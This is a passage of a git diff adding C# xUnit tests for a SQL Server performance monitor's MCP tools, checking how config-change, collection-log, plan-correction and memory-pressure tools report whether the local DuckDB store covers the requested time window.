+        await SeedRunsAsync("blocked_process_report", WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await BlockingAsync(hoursBack: 1));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), "blocked_process_report and deadlocks");
+    }
+
+    [Fact]
+    public async Task BlockingStats_NeverCollected_IsUnavailable_AndStaysBare()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await BlockingAsync());
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        AssertBare(root);
+    }
+
+    /* ───────────────────────── get_daily_summary_range: no notice, by design ───────────────────────── */
+
+    /// <summary>
+    /// The tool writes no data-start keys, because each day it returns carries its own state (<c>data_state</c>, with a
+    /// <c>data_note</c> before the horizon) and the payload names the store's <c>retention_horizon</c>: a day before the horizon
+    /// is never Healthy, and a day the store does not hold is absent, which the tool's contract calls a collection gap. A notice
+    /// would repeat that. This pins both halves, so a later edit that drops the per-day state has to add a notice.
+    /// </summary>
+    [Fact]
+    public async Task DailySummaryRange_CarriesItsOwnDataState_AndNoWindowKeys()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedRunsAsync("wait_stats", Anchor.AddDays(-1), Anchor, everyMinutes: 60);
+
+        var root = Root(await McpHealthTools.GetDailySummaryRange(Service(), _serverManager, ServerName, 7, AsOf));
+
+        Assert.False(root.TryGetProperty("effective_start", out _));
+        Assert.False(root.TryGetProperty("window_truncated", out _));
+        Assert.False(root.TryGetProperty("truncation_note", out _));
+        Assert.True(root.TryGetProperty("retention_horizon", out _));
+        Assert.True(root.TryGetProperty("days_before_horizon", out _));
+        Assert.True(root.GetProperty("days").GetArrayLength() >= 1);
+        foreach (var day in root.GetProperty("days").EnumerateArray())
+        {
+            Assert.True(day.TryGetProperty("data_state", out var state) && !string.IsNullOrEmpty(state.GetString()));
+        }
+    }
+
+    /* ───────────────────────── assertions ───────────────────────── */
+
+    private static void AssertKeysFollowHoursBack(JsonElement root)
+    {
+        var names = new List<string>();
+        foreach (var property in root.EnumerateObject())
+        {
+            names.Add(property.Name);
+        }
+
+        var hoursBack = names.IndexOf("hours_back");
+        Assert.True(hoursBack >= 0);
+        Assert.Equal(new[] { "effective_start", "window_truncated", "truncation_note" }, names.GetRange(hoursBack + 1, 3));
+    }
+
+    /// <summary>The store's data starts at <paramref name="floor"/>, later than the window asked for.</summary>
+    private static void AssertTruncatedAt(JsonElement root, DateTime floor, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - floor).TotalSeconds) < 5,
+            $"effective_start {text} should be the seeded floor {floor:o}");
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"raw {table} retains", note, StringComparison.Ordinal);
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+    }
+
+    /// <summary>An empty answer over a window the store holds no collection in: not covered, and no start to name.</summary>
+    private static void AssertNothingHeld(JsonElement root, string table)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"holds no collection of {table}", note, StringComparison.Ordinal);
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+    }
+
+    /// <summary>The store held the whole window: the keys are present, false and null, at the requested start.</summary>
+    private static void AssertCovered(JsonElement root, DateTime requestedStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - requestedStart).TotalMinutes) < 2,
+            $"effective_start {text} should be the requested start {requestedStart:o}");
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+    }
+
+    private static void AssertBare(JsonElement root)
+    {
+        Assert.False(root.TryGetProperty("hints", out _));
+        Assert.False(root.TryGetProperty("window_truncated", out _));
+        Assert.False(root.TryGetProperty("effective_start", out _));
+        Assert.False(root.TryGetProperty("truncation_note", out _));
+    }
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /* #5208: every seed statement joins one open transaction (PendingSeedSession) instead of committing on its own;
+       Service() commits it before anything reads, so the code under test sees the same rows in the same order. */
+    private Task ExecuteAsync(string sql, params object?[] values) => _seed.ExecuteAsync(sql, values);
+
+    /// <summary>The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not it stored anything.</summary>
+    private async Task SeedRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        await ExecuteAsync($@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, $6, g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)",
+            _nextId, _serverId, ServerName, Naive(firstUtc), Naive(lastUtc), collector);
+        _nextId += 100_000;
+    }
+
+    /// <summary>A server whose wall clock is five hours behind UTC all year: the Default Trace stores its times in it.</summary>
+    private Task SeedServerClockAsync() => ExecuteAsync(@"
+INSERT INTO server_properties
+    (collection_id, collection_time, server_id, server_name, edition, product_version, product_level, engine_edition, utc_offset_minutes)
+VALUES ($1, $2, $3, $4, 'Enterprise Edition', '16.0.4085.2', 'RTM', 3, $5)",
+        _nextId++, Naive(WindowStart.AddDays(-1)), _serverId, ServerName, ServerUtcOffsetMinutes);
+
+    /// <summary>A default trace event at <paramref name="atUtc"/>, stored as the trace stores it: in the server's wall clock.</summary>
+    private Task SeedTraceEventAsync(DateTime atUtc) => ExecuteAsync(@"
+INSERT INTO default_trace_events
+    (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name,
+     database_name, duration_us, integer_data, severity, error_number, text_data)
+VALUES ($1, $2, $3, $4, $5, 'Server Memory Change', NULL, NULL, NULL, NULL, NULL, 'memory')",
+        _nextId++, Naive(atUtc), _serverId, ServerName, Naive(atUtc.AddMinutes(ServerUtcOffsetMinutes)));
+
+    private Task SeedWaitAsync(DateTime at, string waitType = "PAGEIOLATCH_SH") => ExecuteAsync(@"
+INSERT INTO wait_stats
+    (collection_id, collection_time, server_id, server_name, wait_type,
+     waiting_tasks_count, wait_time_ms, signal_wait_time_ms, delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms)
+VALUES ($1, $2, $3, $4, $5, 10, 1000, 100, 5, 500, 50)",
+        _nextId++, Naive(at), _serverId, ServerName, waitType);
+
+    private Task SeedBprAsync(DateTime at) => ExecuteAsync(@"
+INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms)
+VALUES ($1, $2, $3, $4, $2, 4000)",
+        _nextId++, Naive(at), _serverId, ServerName);
+
+    private Task SeedDeadlockAsync(DateTime at) => ExecuteAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, deadlock_graph_xml)
+VALUES ($1, $2, $3, $4, $2, $5)",
+        _nextId++, Naive(at), _serverId, ServerName,
+        "<deadlock><victim-list><victimProcess id=\"p1\"/></victim-list><process-list>"
+        + "<process id=\"p1\" spid=\"55\" waittime=\"1000\"><inputbuf>x</inputbuf></process>"
+        + "<process id=\"p2\" spid=\"66\" waittime=\"3000\"><inputbuf>x</inputbuf></process></process-list></deadlock>");
+
+    private Task SeedDmvAsync(DateTime at) => ExecuteAsync(@"
+INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, server_id, server_name, monitor_loop, event_time, wait_time_ms)
+VALUES ($1, $2, $3, $4, -1, $2, 3000)",
+        _nextId++, Naive(at), _serverId, ServerName);
+}
diff --git a/Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs b/Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs
new file mode 100644
index 0000000000..a61121e32e
--- /dev/null
+++ b/Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs
@@ -0,0 +1,668 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on six Lite tools: the three config-change tools (<c>get_server_config_changes</c>,
+/// <c>get_database_config_changes</c>, <c>get_trace_flag_changes</c>), the one-server form of <c>get_collection_log</c>,
+/// <c>get_plan_corrections</c> and <c>get_memory_pressure_events</c>. Each publishes <c>effective_start</c>,
+/// <c>window_truncated</c> and <c>truncation_note</c> beside <c>hours_back</c> on a data answer, and the same three keys
+/// under <c>hints</c> on an <c>empty</c> one, from the coverage probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>)
+/// the other window-floor tools use. None of them uses the event-time form (<c>McpQueryTools.EventWindowNoticeAsync</c>): a
+/// config change is stamped with the capture time of the snapshot that showed it, a plan-correction row and a log run with the
+/// run's own time, and the memory pressure probe reads <c>sample_time</c>, the column the list is windowed on, so the oldest row
+/// shown can never be older than the probe's floor. Every window is anchored at a fixed <c>as_of</c>, never the clock. Own
+/// <see cref="DuckDbInitializer"/> per test, like <see cref="McpWindowNoticeEventToolTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class McpWindowNoticeConfigAndLogToolTests : IDisposable
+{
+    private const string ServerName = "ConfigLogNoticeServer";
+    private const string AsOf = "2026-09-10T12:00:00Z";
+    private const int HoursBack = 168;
+    private static readonly DateTime Anchor = new(2026, 9, 10, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime WindowStart = Anchor.AddHours(-HoursBack);
+
+    private readonly int _serverId;
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private readonly ServerManager _serverManager;
+    private long _nextId = 1;
+
+    /// <summary>The tools under test. The collection log is the one-server form.</summary>
+    public enum Tool
+    {
+        ServerConfig,
+        DatabaseConfig,
+        TraceFlags,
+        CollectionLog,
+        PlanCorrections,
+        MemoryPressure
+    }
+
+    public McpWindowNoticeConfigAndLogToolTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "McpWindowNoticeConfigLog_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(_tempDir, "config"));
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+
+        _serverManager = new ServerManager(Path.Combine(_tempDir, "config"));
+        var server = new ServerConnection { ServerName = ServerName, DisplayName = ServerName };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static DateTime ParseUtc(string text) =>
+        DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new(_duckDb);
+    }
+
+    /* ───────────────────────── per-tool wiring ───────────────────────── */
+
+    private Task<string> CallAsync(Tool tool, int hoursBack = HoursBack, int? limit = null) => tool switch
+    {
+        Tool.ServerConfig => McpConfigHistoryTools.GetServerConfigChanges(Service(), _serverManager, ServerName, hoursBack, as_of: AsOf),
+        Tool.DatabaseConfig => McpConfigHistoryTools.GetDatabaseConfigChanges(Service(), _serverManager, ServerName, hoursBack, as_of: AsOf),
+        Tool.TraceFlags => McpConfigHistoryTools.GetTraceFlagChanges(Service(), _serverManager, ServerName, hoursBack, as_of: AsOf),
+        Tool.CollectionLog => McpHealthTools.GetCollectionLog(Service(), _serverManager, ServerName, hoursBack, limit: limit, as_of: AsOf),
+        Tool.PlanCorrections => McpPlanCorrectionTools.GetPlanCorrections(Service(), _serverManager, ServerName, hoursBack, limit: limit ?? 25, as_of: AsOf),
+        Tool.MemoryPressure => McpMemoryTools.GetMemoryPressureEvents(Service(), _serverManager, ServerName, hoursBack, as_of: AsOf),
+        _ => throw new ArgumentOutOfRangeException(nameof(tool))
+    };
+
+    /// <summary>The collector whose logged runs the tool's coverage is read from. The collection log is the run log itself: its
+    /// own rows are the coverage, and the collector it is seeded under is any one.</summary>
+    private static string CollectorOf(Tool tool) => tool switch
+    {
+        Tool.ServerConfig => "server_config",
+        Tool.DatabaseConfig => "database_config",
+        Tool.TraceFlags => "trace_flags",
+        Tool.PlanCorrections => "plan_correction",
+        Tool.MemoryPressure => "memory_pressure_events",
+        _ => "wait_stats"
+    };
+
+    /// <summary>The table name the truncation note names.</summary>
+    private static string TableOf(Tool tool) => tool switch
+    {
+        Tool.ServerConfig => "server_config",
+        Tool.DatabaseConfig => "database_config",
+        Tool.TraceFlags => "trace_flags",
+        Tool.CollectionLog => "collection_log",
+        Tool.PlanCorrections => "plan_correction",
+        _ => "memory_pressure_events"
+    };
+
+    /// <summary>
+    /// Data for the tool at <paramref name="at"/>, which is what its answer lists. A config tool needs a CHANGE, so this seeds
+    /// the baseline snapshot at <paramref name="baselineAt"/> and the changed one at <paramref name="at"/> (the change is stamped
+    /// with the later capture time). The others seed one row stamped <paramref name="at"/>.
+    /// </summary>
+    private async Task SeedDataAsync(Tool tool, DateTime at, DateTime? baselineAt = null)
+    {
+        var baseline = baselineAt ?? at.AddMinutes(-20);
+        switch (tool)
+        {
+            case Tool.ServerConfig:
+                await SeedServerConfigAsync(baseline, 0);
+                await SeedServerConfigAsync(at, 4);
+                break;
+            case Tool.DatabaseConfig:
+                await SeedDatabaseConfigAsync(baseline, "FULL");
+                await SeedDatabaseConfigAsync(at, "SIMPLE");
+                break;
+            case Tool.TraceFlags:
+                await SeedTraceFlagAsync(baseline, 1117);
+                await SeedTraceFlagAsync(at, 1117);
+                await SeedTraceFlagAsync(at, 3226);
+                break;
+            case Tool.CollectionLog:
+                await SeedLogRunsAsync("wait_stats", at, at, everyMinutes: 30);
+                break;
+            case Tool.PlanCorrections:
+                await SeedPlanCorrectionAsync(at, recommendation: "PR_1");
+                break;
+            default:
+                await SeedMemoryPressureAsync(sampleTime: at, collectedAt: at);
+                break;
+        }
+    }
+
+    /// <summary>
+    /// Two stretches of data: the first at <paramref name="first"/> (the data's start) and a later one a day before the anchor. A config
+    /// tool's first stretch is its baseline snapshot, so the later change is the one the answer lists.
+    /// </summary>
+    private async Task SeedFirstAndLaterAsync(Tool tool, DateTime first)
+    {
+        if (tool is Tool.ServerConfig or Tool.DatabaseConfig or Tool.TraceFlags)
+        {
+            await SeedDataAsync(tool, Anchor.AddDays(-1), baselineAt: first);
+        }
+        else
+        {
+            await SeedDataAsync(tool, first);
+            await SeedDataAsync(tool, Anchor.AddDays(-1));
+        }
+    }
+
+    /// <summary>The collector's runs, for every tool but the collection log (whose log rows ARE the data).</summary>
+    private Task SeedCoverageAsync(Tool tool, DateTime first, DateTime last) =>
+        tool == Tool.CollectionLog ? Task.CompletedTask : SeedLogRunsAsync(CollectorOf(tool), first, last, everyMinutes: 30);
+
+    /* ───────────────────────── a data answer ───────────────────────── */
+
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.CollectionLog)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task DataAndRunsStartInsideTheWindow_ReportTheFloor_AndTheNote(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedCoverageAsync(tool, floor, Anchor);
+        await SeedFirstAndLaterAsync(tool, floor);
+
+        var root = Root(await CallAsync(tool));
+
+        AssertTruncatedAt(root, floor, TableOf(tool));
+    }
+
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.CollectionLog)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task AQuietStart_CollectedFromBeforeTheWindow_FirstDataTwoDaysIn_IsCovered(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The store holds this tool's data from before the window began, and nothing was stored until two days in: a server that
+           is quiet for days looks exactly like this, and a probe that read only the window's rows would call it truncated. A config
+           tool's older evidence is its baseline snapshot; the collection log's is an older run. */
+        await SeedCoverageAsync(tool, WindowStart.AddHours(-1), Anchor);
+        if (tool == Tool.CollectionLog)
+        {
+            await SeedLogRunsAsync("wait_stats", WindowStart.AddHours(-1), WindowStart.AddHours(-1), everyMinutes: 30);
+        }
+
+        await SeedDataAsync(tool, Anchor.AddDays(-2), baselineAt: WindowStart.AddHours(-1));
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCovered(root, WindowStart);
+    }
+
+    /// <summary>The three keys sit right after <c>hours_back</c>, in this order, on every tool.</summary>
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.CollectionLog)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task ADataAnswer_CarriesTheKeysRightAfterHoursBack(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedCoverageAsync(tool, Anchor.AddDays(-2), Anchor);
+        await SeedFirstAndLaterAsync(tool, Anchor.AddDays(-2));
+
+        var names = new List<string>();
+        foreach (var property in Root(await CallAsync(tool)).EnumerateObject())
+        {
+            names.Add(property.Name);
+        }
+
+        var hoursBack = names.IndexOf("hours_back");
+        Assert.True(hoursBack >= 0);
+        Assert.Equal(new[] { "effective_start", "window_truncated", "truncation_note" }, names.GetRange(hoursBack + 1, 3));
+    }
+
+    /// <summary>A window of 90 minutes or less with rows starts no probe: the answer is covered at the requested start, not at the data.</summary>
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    [InlineData(Tool.CollectionLog)]
+    [InlineData(Tool.PlanCorrections)]
+    [InlineData(Tool.MemoryPressure)]
+    public async Task AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedDataAsync(tool, Anchor.AddMinutes(-30), baselineAt: Anchor.AddMinutes(-50));
+
+        var root = Root(await CallAsync(tool, hoursBack: 1));
+
+        AssertCovered(root, Anchor.AddHours(-1));
+    }
+
+    /// <summary>A capped page (<c>limit: 1</c> of two rows) sits next to a window floor: the page cut does not change the notice. These two tools page; the others return the whole window.</summary>
+    [Theory]
+    [InlineData(Tool.CollectionLog)]
+    [InlineData(Tool.PlanCorrections)]
+    public async Task ACappedPage_NextToAWindowFloor_LeavesTheNoticeUnchanged(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedCoverageAsync(tool, floor, Anchor);
+        await SeedFirstAndLaterAsync(tool, floor);
+
+        var root = Root(await CallAsync(tool, limit: 1));
+
+        Assert.True(root.GetProperty("truncated").GetBoolean());
+        AssertTruncatedAt(root, floor, TableOf(tool));
+    }
+
+    /* ───────────────────────── what each probe reads ───────────────────────── */
+
+    /// <summary>
+    /// A config read keeps the snapshot BEFORE the window as the diff's baseline and the collectors capture on connect, so a
+    /// server that has stayed connected holds its last snapshot days before the window and none inside it. That is a window the
+    /// store covers, with no change in it; the plain probe finds nothing inside the window and would say the store holds no
+    /// collection of it. The empty answer's hints say covered.
+    /// </summary>
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    public async Task AConfigWindow_HoldsNoSnapshotButOneBeforeIt_IsCoveredAndEmpty(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedDataAsync(tool, WindowStart.AddDays(-9), baselineAt: WindowStart.AddDays(-10));
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-3), Anchor, everyMinutes: 60);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+    }
+
+    /// <summary>
+    /// The memory pressure list is windowed on <c>sample_time</c>, the ring-buffer event's own time, which can sit before the
+    /// first run that stored it; the probe reads that same column beside the collector's runs. So a first-run backfill needs no
+    /// event-time form: the collector's first run is 100 minutes into the window (past the 90-minute slack), it stored an event
+    /// from 30 minutes in, and the probe alone already names the event and calls the window covered.
+    /// </summary>
+    [Fact]
+    public async Task MemoryPressure_AnEventOlderThanItsRun_FirstRunBackfill_NamesTheEvent_AndIsNotACut()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var firstRun = WindowStart.AddMinutes(100);
+        var backfilled = WindowStart.AddMinutes(30);
+        await SeedLogRunsAsync("memory_pressure_events", firstRun, Anchor, everyMinutes: 30);
+        await SeedMemoryPressureAsync(sampleTime: backfilled, collectedAt: firstRun);
+
+        var root = Root(await CallAsync(Tool.MemoryPressure));
+
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - backfilled).TotalSeconds) < 5, $"effective_start {text} should be the event {backfilled:o}");
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+    }
+
+    /// <summary>
+    /// A plan-correction answer can hold only the automatic-tuning snapshot (a database the engine has nothing to recommend for):
+    /// the recommendation list is empty but the answer is a data answer, so it carries the keys at the top level and is probed
+    /// whatever the window's length.
+    /// </summary>
+    [Fact]
+    public async Task PlanCorrections_AnAutomaticTuningOnlyAnswer_CarriesTheKeysAtTheTopLevel_AndIsProbed()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("plan_correction", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedPlanCorrectionAsync(Anchor.AddDays(-1), recommendation: null);
+
+        var root = Root(await CallAsync(Tool.PlanCorrections));
+
+        Assert.False(root.TryGetProperty("status", out _));
+        Assert.Equal(0, root.GetProperty("recommendations_returned").GetInt32());
+        AssertTruncatedAt(root, Anchor.AddDays(-2), "plan_correction");
+    }
+
+    /// <summary>A tuning-only answer over a window the store holds nothing in: the empty list is not a report that nothing was recommended.</summary>
+    [Fact]
+    public async Task PlanCorrections_ATuningOnlyAnswer_TheStoreHoldsNothingInTheWindow_SaysNoWindowedRowsWereRead()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedPlanCorrectionAsync(Anchor.AddDays(-30), recommendation: null);
+
+        var root = Root(await CallAsync(Tool.PlanCorrections));
+
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        Assert.Contains("so no windowed rows were read", root.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>A one-hour, tuning-only answer is probed too (short window, empty page): effective_start is the probe's floor, not the asked start.</summary>
+    [Fact]
+    public async Task PlanCorrections_AOneHourTuningOnlyAnswer_NamesTheProbesFloor_NotTheAskedStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddMinutes(-20);
+        await SeedLogRunsAsync("plan_correction", floor, Anchor, everyMinutes: 5);
+        await SeedPlanCorrectionAsync(floor, recommendation: null);
+
+        var root = Root(await CallAsync(Tool.PlanCorrections, hoursBack: 1));
+
+        Assert.False(root.TryGetProperty("status", out _));
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.True(Math.Abs((ParseUtc(text) - floor).TotalSeconds) < 5,
+            $"effective_start {text} should be the probe's floor {floor:o}, not the asked start {Anchor.AddHours(-1):o}");
+    }
+
+    /// <summary>A status filter that matches nothing, over a window with runs, is a filtered-empty answer, not a quiet window.</summary>
+    [Fact]
+    public async Task CollectionLog_AStatusFilterThatMatchesNothing_TakesTheFilteredEmptyBranch()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("wait_stats", Anchor.AddHours(-20), Anchor, everyMinutes: 30);
+
+        var root = Root(await McpHealthTools.GetCollectionLog(
+            Service(), _serverManager, ServerName, 24, as_of: AsOf, status: "ERROR"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        var message = root.GetProperty("message").GetString()!;
+        Assert.DoesNotContain("genuinely quiet", message, StringComparison.Ordinal);
+        Assert.Contains("matched", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: an empty collection log over a window the store holds none of says so (no start to name), keeping its
+    /// first sentence; the filtered empty is exempt and keeps its own words whether the window is cut or not.
+    /// </summary>
+    [Fact]
+    public async Task CollectionLog_AnEmptyWindow_NothingHeld_SaysNothingWasRead_AndTheFilteredEmptyKeepsItsWords()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* Runs exist, all older than the window: the server HAS collected, and the window holds none. */
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-30), Anchor.AddDays(-20), everyMinutes: 60);
+
+        var cut = Root(await McpHealthTools.GetCollectionLog(Service(), _serverManager, ServerName, 24, as_of: AsOf));
+
+        Assert.Equal("empty", cut.GetProperty("status").GetString());
+        Assert.Equal(JsonValueKind.Null, cut.GetProperty("hints").GetProperty("effective_start").ValueKind);
+        Assert.Equal($"No collector runs recorded for {ServerName} in the last 24 hour(s). {McpHelpers.CutWindowNothingReadMessage}", cut.GetProperty("message").GetString());
+
+        /* The same cut window, filtered: not the cut sentence, the filtered one with its echo and advice. */
+        var cutFiltered = Root(await McpHealthTools.GetCollectionLog(
+            Service(), _serverManager, ServerName, 24, as_of: AsOf, collector_name: "no_such_collector"));
+        var cutFilteredMessage = cutFiltered.GetProperty("message").GetString()!;
+        Assert.True(cutFiltered.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+        Assert.Contains("no_such_collector", cutFilteredMessage, StringComparison.Ordinal);
+        Assert.Contains("says nothing about the window as a whole", cutFilteredMessage, StringComparison.Ordinal);
+        Assert.DoesNotContain("Nothing was read", cutFilteredMessage, StringComparison.Ordinal);
+
+        /* A window the log covers (runs reach back past its start): the filtered empty keeps its sentence there too. */
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-3), Anchor, everyMinutes: 30);
+        var covered = Root(await McpHealthTools.GetCollectionLog(
+            Service(), _serverManager, ServerName, 24, as_of: AsOf, collector_name: "no_such_collector"));
+
+        Assert.False(covered.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+        Assert.Contains("says nothing about the window as a whole", covered.GetProperty("message").GetString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>A snapshot before the window with NO run in the window proves nothing was read: not covered.</summary>
+    [Theory]
+    [InlineData(Tool.ServerConfig)]
+    [InlineData(Tool.DatabaseConfig)]
+    [InlineData(Tool.TraceFlags)]
+    public async Task AConfigWindow_OneSnapshotBeforeIt_ButNoRunInIt_SaysNothingWasRead(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedDataAsync(tool, WindowStart.AddDays(-9), baselineAt: WindowStart.AddDays(-10));
+        await SeedLogRunsAsync("wait_stats", WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"), TableOf(tool));
+    }
+
+    /// <summary>The collection log's probe is the log itself, unfiltered: a collector filter that matches nothing still says where the log starts.</summary>
+    [Fact]
+    public async Task CollectionLog_AFilterThatMatchesNothing_StillSaysWhereTheLogStarts_UnderHints()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync("wait_stats", Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+
+        var root = Root(await McpHealthTools.GetCollectionLog(
+            Service(), _serverManager, ServerName, HoursBack, as_of: AsOf, collector_name: "no_such_collector"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2), "collection_log");
+    }
+
+    /// <summary>A server that has NEVER logged a run is a fault, not an empty window: <c>unavailable</c> keeps its shape and carries no keys.</summary>
+    [Fact]
+    public async Task CollectionLog_ANeverCollectedServer_IsUnavailable_AndStaysBare()
+    {
